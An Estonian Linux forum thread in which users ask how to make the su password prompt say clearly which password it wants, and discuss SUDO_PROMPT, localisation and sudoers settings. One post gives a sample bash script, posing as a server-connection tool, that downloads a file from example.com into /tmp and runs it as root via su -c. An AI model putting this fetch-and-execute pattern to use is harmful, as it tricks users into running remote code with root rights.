1. leht 1-st
su salasõna prompt
Postitatud: 02.09.2011, 21:02
Postitas sips
Kas ja kuidas oleks võmalik muuta nn
su salasõna pärimise prompti?
Hetkel Archlinux küsib
su käsu peale lihtsalt
Password:
Aga kui nt netist tõmmata skript, mis kirjelduse järgi loob ühenduse mingi serveriga, kuid tehelikult on skripti sisuks
Kood: Vali kõik
#!/bin/bash
echo "Server: "
read server
echo "Login name: "
read user
wget –output-document /tmp/pahalane http://example.com/VägaPahalane > /dev/null 2>&1
chmod +x /tmp/pahalane
su -c /tmp/pahalane
Parem oleks kui
su käsu peale küsitakse nt
Enter your local root password:
Postitatud: 02.09.2011, 21:10
Postitas Valdur55
Enamasti on käivitatavate rakenduste otseteed kasutas /usr/bin (tavakasutaja) või /usr/sbin (root).
Edasi mõtled ise.
Postitatud: 02.09.2011, 21:17
Postitas sips
Mis vahet seal on, kui käivitatav fail ise on kõigile kättesaadavas kohas?
Re: su salasõna prompt
Postitatud: 02.09.2011, 21:35
Postitas tramm
sips kirjutas:Kas ja kuidas oleks võmalik muuta nn su salasõna pärimise prompti?
Lokaliseerid
po failiga? Kompileerid ise ja muudad stringi ära?
sips kirjutas:su -c /tmp/pahalane
Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik.
Re: su salasõna prompt
Postitatud: 02.09.2011, 21:53
Postitas sips
tramm kirjutas:Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik.

tundub, et pikk tööpäev on ajud sassi keeranud - loogika lonkab. Tegelt tahtsin oma arust kirjutada mingi näite, kus küsitakse parooli ja tehakse hoopis midagi muud.
Aga see .po failidega jändamine ja kompileerimine pole päris see.
Lihtsalt mure tekkis sellest, et nii
sudo, kui ka
su küsivad mõlemad lihtsalt
Password:
katsu siis aru saada mida sult tahetakse.
OK sudo'ga on lihtne:$
SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et
su puhul on ka mingi sarnane lihtne "trikk"
Re: su salasõna prompt
Postitatud: 02.09.2011, 22:08
Postitas tramm
sips kirjutas:OK sudo'ga on lihtne:$ SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et su puhul on ka mingi sarnane lihtne "trikk"
Arusaadav. Aga pahalasel pole keeruline ka vajadusel SUDO_PROMPT muutujat sättida.
Postitatud: 02.09.2011, 22:29
Postitas sips
Seda muidugi.
Soov oli, et ausad skriptid väljendaks selgemini millist salasõna nad tahavad.
Archlinuxil nt on selleine programm nagu yaourt, mis oskab kasutada nii su'd, kui ka sudo'd -
kui sudo parool nö aegub (ei sisestata, kuna kedagi pole masina juures) või pole sudo üldse installitud,
kasutatakse su'd, kuid mõlemal juhul on ekraanil lihtsalt
Password:
Jama on rohkem selles, et markeerida ei tahaks mitte tavakasutaja parooli küsimist,
vaid et root'u parooli pärimine oleks selgelt näha.
Postitatud: 23.02.2016, 10:45
Postitas tris
1. sudoers määrata, mida sul admin.konto võimaldab:
yourusername ALL= NOPASSWD: /programmi_täpne_asukoht
2. mingi programmi luua:
Kood: Vali kõik
#!/bin/bash
ENTRY=`zenity --password`
case $? in
0)
pw=$(echo $ENTRY | cut -d'|' -f1)
;;
1)
echo "Stop login.";;
-1)
echo "An unexpected error has occurred.";;
esac
TMP=$(echo "${pw}" | sudo -Sv)
TMP=0
Võibolla midagi siin mudida?
Ja su kohta - ma muutsin /bin/su õigus endal ainult juur saab käivitada ja grupp. Ning käivitan seda ainult: sudo su